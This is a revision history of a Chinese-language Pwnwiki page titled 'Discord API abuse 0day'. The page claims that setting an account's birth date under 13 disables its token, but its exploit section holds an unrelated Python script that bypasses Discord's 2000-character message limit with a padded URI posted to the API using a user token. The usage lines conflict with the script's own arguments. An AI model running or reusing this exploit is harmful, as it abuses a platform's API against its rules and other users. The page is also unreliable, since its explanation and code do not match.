Discord API濫用0day - Revision history

Pwnwiki: /* EXP: */

2021-03-22T06:50:12Z

EXP:

Pwnwiki: Reverted edits by Esonhugh (talk) to last revision by Pwnwiki

2021-03-20T13:22:57Z

Reverted edits by Esonhugh (talk) to last revision by Pwnwiki

Esonhugh: exp 运行的时候缺少参数

2021-03-20T13:17:27Z

exp 运行的时候缺少参数

Pwnwiki at 08:58, 6 March 2021

2021-03-06T08:58:21Z

Pwnwiki at 07:47, 6 March 2021

2021-03-06T07:47:29Z

Pwnwiki at 07:45, 6 March 2021

2021-03-06T07:45:15Z

Pwnwiki: 已標記此版本用來翻譯

2021-03-06T07:34:36Z

已標記此版本用來翻譯

Pwnwiki at 07:34, 6 March 2021

2021-03-06T07:34:22Z

Pwnwiki: 建立內容為「{| style="margin: auto; width: 750px;" | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | {| cellspacing="2px" | vali…」的新頁面

2021-03-01T02:06:25Z

建立內容為「{| style="margin: auto; width: 750px;" | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" | {| cellspacing="2px" | vali…」的新頁面

New page

{| style="margin: auto; width: 750px;"
| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |
{| cellspacing="2px"
| valign="middle" | [[Image:Hand.png|50px]]
| 這個頁面需要補充，如果您了解該內容，請直接編輯詞條。
|}
|}
<br><noinclude>

==漏洞原理：==
將賬戶的出生日期設置爲小於13歲以禁用Token，因爲Discord會自動禁用所有者小於13歲的賬戶。

請注意，已經設置DoB的賬戶不受到此漏洞影響。

==EXP:==
Usage:
<pre>
py example.py <token>
</pre>

<pre>
# Name: 2000 Characters Limit Bypass
# Description: Sends an URI that contains characters that gets URL encoded when sent, which increases the length of the message.
# Author: checksum (@0daySkid)
# Original founder: Siaxos

import requests
import random
import sys

class Exploit:

def __init__(self, token, channel):
self.token = token
self.channel_id = channel
self.headers = {'Authorization': token}

@property
def uri(self):
chars = ''.join(random.choice('\'"^`|{}') for _ in range(1993))
return f'<a://a{chars}>'

def execute(self):
""" send magical URI """
return requests.post(f'https://discordapp.com/api/v6/channels/{self.channel_id}/messages', headers=self.headers, json={'content': self.uri})

def main():
if len(sys.argv) < 3:
print(f'Usage: py {sys.argv[0]} <token> <channel id>')
sys.exit()

token = sys.argv[1]
channel_id = sys.argv[2]

exploit = Exploit(token, channel_id)

exploit.execute()

if __name__ == '__main__':
main()
</pre>

==作者：==
原始作者未知。

@@ Line 21: / Line 21: @@
 Usage:
 <pre>
-py example.py <token>
+python example.py <token>
 </pre>
@@ Line 69: / Line 69: @@
 <translate>
 ==作者：== <!--T:3-->
 原始作者未知。
 </translate>

← Older revision		Revision as of 08:58, 6 March 2021
Line 1:		Line 1:
		+	<languages />
		+
	{\| style="margin: auto; width: 750px;"		{\| style="margin: auto; width: 750px;"
	\| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" \|		\| style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" \|

← Older revision		Revision as of 07:47, 6 March 2021
Line 70:		Line 70:
	原始作者未知。		原始作者未知。
	</translate>		</translate>
−
−	~~{{#translation:}}~~

← Older revision		Revision as of 07:45, 6 March 2021
Line 70:		Line 70:
	原始作者未知。		原始作者未知。
	</translate>		</translate>
		+
		+	{{#translation:}}

@@ Line 9: / Line 9: @@
 <translate>
-==漏洞原理：==
+==漏洞原理：== <!--T:1-->
 將賬戶的出生日期設置爲小於13歲以禁用Token，因爲Discord會自動禁用所有者小於13歲的賬戶。
 請注意，已經設置DoB的賬戶不受到此漏洞影響。
 </translate>
@@ Line 66: / Line 67: @@
 <translate>
-==作者：==
+==作者：== <!--T:3-->
 原始作者未知。
 </translate>

@@ Line 1: / Line 1: @@
 <languages />
 {| style="margin: auto; width: 750px;"
 | style="text-align: left; margin: 1em 1em 1em 0; border: 1px solid #20A3C0; padding: .2em;" |
 {| cellspacing="2px"
 | valign="middle" | [[Image:Hand.png|50px]]
 | 這個頁面需要補充，如果您了解該內容，請直接編輯詞條。
@@ Line 8: / Line 9: @@
 |}
 <br><noinclude>
 <translate>
 ==漏洞原理：== <!--T:1-->
@@ Line 15: / Line 17: @@
 請注意，已經設置DoB的賬戶不受到此漏洞影響。
 </translate>
 ==EXP:==
 Usage:
 <pre>
-py example.py <token> <channel-id>
+py example.py <token>
 </pre>
 <pre>
 # Name: 2000 Characters Limit Bypass
@@ Line 63: / Line 67: @@
      main()
 </pre>
 <translate>
 ==作者：== <!--T:3-->
 原始作者未知。
 </translate>